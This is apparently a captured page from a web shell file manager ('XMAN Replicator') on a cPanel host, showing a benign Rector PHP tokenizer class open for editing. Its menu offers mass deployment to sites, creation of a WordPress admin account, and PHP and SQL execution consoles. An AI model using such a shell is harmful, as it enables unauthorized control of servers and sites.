🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
rules
/
Php74
/
Tokenizer
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
ParenthesizedNestedTernaryAnalyzer.php
691 B
-rw-r--r--
2024-11-08 13:59
✏️
🔄
🗑️
⬇️
🔒
Edit: ParenthesizedNestedTernaryAnalyzer.php
<?php declare (strict_types=1); namespace Rector\Php74\Tokenizer; use PhpParser\Node\Expr\Ternary; use Rector\ValueObject\Application\File; final class ParenthesizedNestedTernaryAnalyzer { public function isParenthesized(File $file, Ternary $ternary) : bool { $oldTokens = $file->getOldTokens(); $startTokenPos = $ternary->getStartTokenPos(); $endTokenPos = $ternary->getEndTokenPos(); $hasOpenParentheses = isset($oldTokens[$startTokenPos]) && $oldTokens[$startTokenPos] === '('; $hasCloseParentheses = isset($oldTokens[$endTokenPos]) && $oldTokens[$endTokenPos] === ')'; return $hasOpenParentheses || $hasCloseParentheses; } }
Save
PHP Console
Execute
SQL Console
Execute